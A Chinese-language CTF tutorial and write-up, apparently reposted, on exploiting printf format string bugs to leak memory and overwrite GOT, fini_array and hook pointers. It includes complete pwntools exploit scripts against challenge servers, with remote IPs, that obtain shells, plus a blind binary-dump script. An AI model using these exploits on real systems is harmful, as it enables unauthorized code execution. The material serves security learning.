内容简介:格式化字符串漏洞(format string bug)也算是pwnable的常见漏洞,主要是利用可控格式化字符串来达到任意地址读写引言通常而言,当我们输出一个字符串a时,通常会printf("%s", a),但为图方便,也有的程序员会直接写为printf(a),看上去没有区别的两种写法实际上有着区分。在第一种写法中,汇编层面为:
格式化字符串漏洞(format string bug)也算是pwnable的常见漏洞,主要是利用可控格式化字符串来达到任意地址读写
引言
通常而言,当我们输出一个字符串a时,通常会printf("%s", a),但为图方便,也有的 程序员 会直接写为printf(a),看上去没有区别的两种写法实际上有着区分。在第一种写法中,汇编层面为:
push offset a; 将字符串压栈 push offset _Format; "%s" call printf
但对于第二种,字符串a直接当作格式化字符串压入栈中,这样,当字符串a中含有形如%x,%s等格式化字符时,由于gcc不检测压入栈中的值的数量,会造成栈上信息的泄露;而如果字符串a中含有形如%n,%hn,%hhn时,结合栈上已有的指针,便可以达到任意地址写
漏洞利用
打印内存
如同上面所言,当我们的格式化字符串可控,且格式化字符串保存在栈上时,几乎可以leak出任意数据,比如如果我们想要知道libc的基址,便可以通过二进制文件得知printf@got的地址为0x08048322,利用类似%6$sx08x04x83x22(假设格式化字符串与当前栈顶地址的偏移为4*5个byte,这样%s就可以读到0x08048322这个数据,输出该地址对应的数据,与已有的libc进行比对便可以得到libc的地址
除此之外,利用一个格式化字符串,可以不断%s从ELF dump到 EOF,盲打搞下来二进制文件,这将在之后提及。
修改内存
在学习printf的过程中,我们还知道%n有着修改内存的作用,例如以下代码:
#include<stdio.h> int main() { int c = 0; printf("abcdefgh%n\n", &c); printf("%d\n", c); }
将得到abcdefgh和数字8,%n的意思为将对应地址的值改为已打印的字符数,如同上文所述,只要我们在栈上布好指向我们要修改的内存的指针,便可以改掉该指针对应的地址上的内容,通常而言,我们可以利用改got表为libc_system,配合/bin/sh的参数即可getshell
实战
fsb_easy_i386
先随便找一个sb平台上的fsb题为例,其中一个函数:
int echo() { char s; memset(&s, 0, 0x200u); fgets(&s, 512, stdin); printf(&s); return puts("haha"); }
其中有一个getshell函数:
int getshell() { return system("/bin/sh"); }
最简单的fsb,我们只需要确定格式化字符串在栈上地址的偏移,改puts@got(地址为0x08048b78)的值为getshell函数的地址,就可以调用到getshell函数,exp如下:
from pwn import * #r = process("./fsb_easy_i386") r = remote("121.43.173.2", 11005) r.sendline("\x7a\x9b\x04\x08\x78\x9b\x04\x08%2044c%4$hn%32283c%5$hnaaa") r.recvuntil("aaa") r.sendline("id") r.interactive()
fsb_i386
这题和上面一题的变化就是没有了getshell函数,那我们就改printf@got = libc_system即可
问题在于如何重复执行printf,这里由于printf后调用了puts,所以改puts@got = 程序段,就可以达到反复执行printf,leak出libc后即可,exp如下:
""" ZUHXS / AAA """ from pwn import * #r = process("./fsb_i386") r = remote("121.43.173.2", 11006) #r = gdb.debug('./fsb_i386') r.sendline("%2052c%14$hn%32135c%13$hneee%139$xee\x00\x9b\x04\x08\x02\x9b\x04\x08") r.recvuntil("eee") recv = r.recv(4096) if recv: a = recv[0:8] print(a) b = int(a, base = 16) system_address = b - 0x19a83 + 0x40190 print(system_address) c = str(hex(system_address)) d = c[2:6] h1 = int(d, base = 16) print(h1) e = c[6:10] h2 = int(e, base = 16) print(str(h2)) print(str(h1-h2)) r.sendline("%" + str(h2) + "c%11$hn%" + str(h1-h2) + "c%12$hnaa\xf0\x9a\x04\x08\xf2\x9a\x04\x08") r.recvuntil("aa") r.sendline("/bin/sh;") r.interactive()
当时代码写得比较丑陋见谅,这里libc的偏移是通过libc_database内的信息得知的,在github可以clone
chance
ACTF中遇到了一道fsb的题,wp如下:
最开始没找到什么好的办法,return printf的返回值之后直接就return 0了,由于栈地址随机化,要想一次printf后getshell还需要知道libc的基址,看上去必须要重复执行printf,虽然got表是read and write,但想改got表也不知道改啥...所以只能想一些奇怪的方法
后来发现了timeout函数,里面调用了puts("time is out"); exit(0),就想到能不能强行在打印的时候触发alarm的回掉函数,如果此时已经改好了puts的got表,就可以将程序劫持到程序段,重复触发格式化字符串漏洞
调试之后发现以下payload可用:
r = remote("10.214.10.13", 11010) #r = process('./chance') #context(arch='i386', os='linux', log_level='info') r.recvrepeat(timeout=19) r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%10000000c")
发现栈上有<__libc_start_main + 247>,也就是<__libc_start_main_ret>的值,想要执行system函数来getshell必须要先info leak搞到libc的基址,所以改payload为:
r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%143$x%10000000c")
又有了个问题,由于它给绑定了一个char s[] = "You said: ",如果只是改掉printf@got没法完全控制参数,遂想到return_to_libc的解法,这样要在前面搞到栈的基址,正好栈上有一个环境变量字符串的地址,正好可以leak出来,于是第一次sendline的最终payload变成:
""" ZUHXS / AAA """ from pwn import * r = process('./chance') r.recvrepeat(timeout=19) r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%138$x%143$x%10000000c") r.recvuntil('aaa') recv = r.recv(20) if recv: a = recv[0:8] c = int(a, base = 16) b = recv[8:16] libc_main_ret = int(b, base = 16) print(hex(c)) print(hex(libc_main_ret)) b = int(a, base = 16)
于是就搞到了栈地址和libc的地址
由于栈的扩展值在每次执行的时候未必固定,所以需要一定程度的爆破,但成功率也是很高,这样改掉返回值和返回值+8为libc_system和binsh就能成功getshell
后来发现服务器和本机不止libc的偏移值不同,连栈扩展的都不一样...被卡了好久,这样的话leak一下服务器的两个偏移地址,就能成功getshell,最终payload如下:
""" ZUHXS / AAA """ from pwn import * r = remote("10.214.10.13", 11010) #r = process('./chance') #context(arch='i386', os='linux', log_level='info') r.recvrepeat(timeout=19) r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%138$x%143$x%10000000c") r.recvuntil('aaa') recv = r.recv(20) if recv: a = recv[0:8] c = int(a, base = 16) b = recv[8:16] libc_main_ret = int(b, base = 16) print(hex(c)) print(hex(libc_main_ret)) b = int(a, base = 16) system_add = libc_main_ret - 0x19a83 + 0x40190 bin_sh_add = libc_main_ret - 0x19a83 + 0x160a24 #bin_sh_add = libc_main_ret - 247 - 99584 + 1412708 #return_add_add = c - 52028 return_add_add = c - 0xffede4d8 + 0xffed18e8 - 0xbffff3f8 + 0xbffff3ec print hex(return_add_add) #system_add = libc_main_ret + 0x22259 print hex(system_add) from fmtstr import make_fmtstr Writes = [ (return_add_add, system_add, 4), (return_add_add + 0x8, bin_sh_add, 4) ] payload_final = make_fmtstr(offset = 27, writes = Writes, arch = 'i386', outed = 11)[0] #raw_input() r.sendline('a' + payload_final + 'abcd') r.interactive()
Orz后来发现data段有fini_array在程序结束之前会调用,所以改掉这个就能无限次执行格式化字符串漏洞...技不如人这个真的不知道...
后来看别人的exp才发现根本不需要return_to_libc,还是改printf@got,只需要读取的时候输入;binsh,这样就可以执行system("You said: ;binsh"),效果等同于system("binsh"),也算个小技巧...
哇心态崩了我怎么这么菜...给大佬递茶.jpg,附上别人的payload:
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Kira / AAA """ from pwn import * from fmtstr import make_fmtstr import sys context(arch='i386', os='linux', log_level='info') if len(sys.argv) > 1: if sys.argv[1][0] == 'r': # remote p = remote('10.214.10.13', 11010) elif sys.argv[1][0] == 'd': # debug p = gdb.debug('./chance', 'b main\nb *0x80485c9') else: p = process('./chance') libc = ELF('./libc6_2.19-0ubuntu6.6_i386.so') elf = ELF('./chance') def modify_return(): main_addr = 0x080486FE echo_addr = 0x0804858B fini_array_addr = 0x08049A70 payload = make_fmtstr(4 * 4 + 10, writes=[(fini_array_addr, main_addr, 4), (elf.got['setvbuf'], echo_addr, 4), (elf.got['signal'], echo_addr, 4)], arch='i386', outed=alreay_len) # print payload p.sendline(payload[0]) p.recv() def leak(): payload = make_fmtstr(4 * 4 + 10, reads=([elf.got['fgets']], [], ''), arch='i386', outed=alreay_len) p.sendline(payload[0]) p.recvuntil('you said: ') s = p.recv() fgets_addr = u32(s[:4]) libc.address = fgets_addr - libc.symbols['fgets'] print 'fgets:', hex(u32(s[:4])), ' signal:', hex(u32(s[4:8])), ' alarm:', hex(u32(s[8:12])) def modify_func(): payload = make_fmtstr(4 * 4 + 10, writes=[(elf.got['printf'], libc.symbols['system'], 4)], arch='i386', outed=alreay_len) p.sendline(payload[0]) p.recv() alreay_len = len('you said: ') p.recv() modify_return() leak() modify_func() p.sendline(';/bin/sh') p.interactive()
make_fmtstr函数是一个学长写的库,就不外传啦,大致意思看懂就好,欢迎大佬们来AAA玩耍呀
其实说到底,我的第一种方法利用了alarm hook的方法,先改好alarm的got表等到触发时劫持程序eip,对于正常的题目而言,还可以使用类似malloc hook的方法劫持eip,如0CTF的Easiest printf题目
Easiest Printf
比赛的时候太菜了并不会,比完赛对着别人的wp复现了一下,这道题got表不可改,可以先读一个libc的基址,然后printf格式化字符串,随后直接_exit(0)结束程序,finiarray什么的肯定是别想了,连atexit函数指针也被加密过,exit会直接syscall结束程序无法补救,对exit的攻击也不能奏效。程序开始对栈的基址做了一系列变换,爆破栈地址ret_to_libc也完全没可能,况且程序里有sleep的指令。看起来只能用malloc hook的方法,这里找到了lsaac大佬的wp,原地址: https://poning.me/2017/03/23/EasiestPrintf/
为什么可以利用malloc hook:在printf中如果输出过多字符,则会调用malloc分配缓冲区的内存,如果能先改掉__malloc_hook为one_gadget,之后输出%10000000c即可,同时利用__free_hook也是一个道理,代码就不附了lsaac这道题利用malloc hook方法的人很多,基本搜wp都能搜到
直到后来,AAA的学长告诉了我另一种利用方法:改掉stdout的vtable:
- 把stdout的vtable写到elf的bss段上
- 布置假的vtable,里面放上system来getshell
- 更改指向vtable的指针,使得在printf内部stdout时劫持程序
当然这个方法要麻烦很多,首先是参数的不知,可以直接把stdout的头上写上shx00x00,实际上会调用vtable中的_IO_sputn,第八个指针,所以改掉fake vtable的第八个参数就好,同时还有一些细枝末节:
struct _IO_FILE_plus有位于0x4c的old vtable和位于0x94的new vtable两种,用哪个取决于位于0x46的一个byte来判断,默认用new vtable,但是当直接修改new vtable的时候,程序会直接崩掉
由于程序一开始执行了setbuf(stdout, NULL),真正的stdout是一个FILE,此时会给printf分配一个位于栈上,长为8192字节的缓冲区,如果超过了8192字节,则会先调用stdout的_IO_sputn输出已存在的字符串,如果此时为完成对各参数的修改以及vtable的布置就会直接炸掉
所以可以先改掉old_vtable,布置好对应的bss段,然后改掉位于0x46的一个byte,就不会受制于8192的限制,exp等我得到许可后再发...大致利用就是如此
SYC
pwnhub杯有一道盲打,去研究了下发现fsb想要dump出整段内存这么简单...参考了大佬的博客 http://paper.seebug.org/246/
x86在没开PIE的情况下,ELF起始地址为0x0804800,所以从这个地址开始爆破,直到EOF为止,便可以dump出整个bin,虽然无法执行,但放到IDA中也可以F5
附上hcamael大佬博客中的代码:
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' f = open("source.bin", "ab+") begin = 0x8048000 offset = 0 while True: addr = begin + offset p = process("a.out") p.sendline("%13$saaa" + p32(addr)) try: info = p.recvuntil("aaa")[:-3] except EOFError: print offset break info += "\x00" p.close() offset += len(info) f.write(info) f.flush() f.close()
如果32位的开了PIE,只需要做一点小改动,ELF的末三位是不变的,所以只需要从0x08000000开始爆破,每次加1000,直到翻到ELF,再进行同理的爆破,代码就不贴了
遇到的这道题根据%p打印几个发现arch是x64的,基本上要是开了PIE就不用玩了...还好没开,x64的ELF起始默认是0x0000000000400000,稍微改一下脚本就好:
""" ZUHXS / AAA """ from pwn import * #context.log_level = 'debug' f = open("source.bin", "ab+") begin = 0x00400000 offset = 0 p = remote('54.222.255.223', 50001) while True: addr = begin + offset p.recvuntil('lemon:') p.send("c%7$sbbb" + p64(addr)) p.recvuntil('are : c') try: info = p.recvuntil('bbb')[:-3] print info, addr except EOFError: print offset break info += "\x00" offset += len(info) f.write(info) f.flush() f.close()
这题有个坑,读使用read读的,所以如果用sendline的话会出问题...看了一上午才看出来...下次记住了...
然后dump出数据,数据里是可以看got表的!所以和上面一样改掉printf@got就好,剩下的就很常规了,exp:
""" ZUHXS / AAA """ from pwn import * r = remote('54.222.255.223', 50001) libc = ELF('./libc.so.6') r.recvuntil('lemon:') read_addr = 0x000000000040088B write_got = 0x0000000000601020 printf_got = 0x0000000000601040 leak_write_plt = 'bbbb%7$s' + p64(write_got) r.send(leak_write_plt) r.recvuntil('bbbb') a = r.recv(8) write_plt = u64(a) & 0xFFFFFFFFFFFF print 'write_plt: ', hex(write_plt) r.recvuntil('lemon:') leak_printf_plt = 'bbbb%7$s' + p64(printf_got) r.send(leak_printf_plt) r.recvuntil('bbbb') a = r.recv(8) printf_plt = u64(a) & 0xFFFFFFFFFFFF print 'printf_plt:', hex(printf_plt) libc.address = printf_plt - libc.symbols['printf'] print 'write@plt after calc: ', hex(libc.symbols['write']) from fmtstr import make_fmtstr r.recvuntil('lemon:') payload_final = make_fmtstr(offset = (6-5) * 8, maxlength = 0x65, writes = [(printf_got, libc.symbols['system'], 8)], arch = 'amd64', outed = 0)[0] print 'system', hex(libc.symbols['system']) r.sendline('a' * 11 + payload_final) print payload_final r.interactive()
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 字符串格式化漫谈
- Python字符串格式化
- 010.Python字符串的格式化
- python基础教程:字符串格式化
- Python入门教程之字符串常用方法和格式化字符串
- iOS 金额字符串格式化显示的方法
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。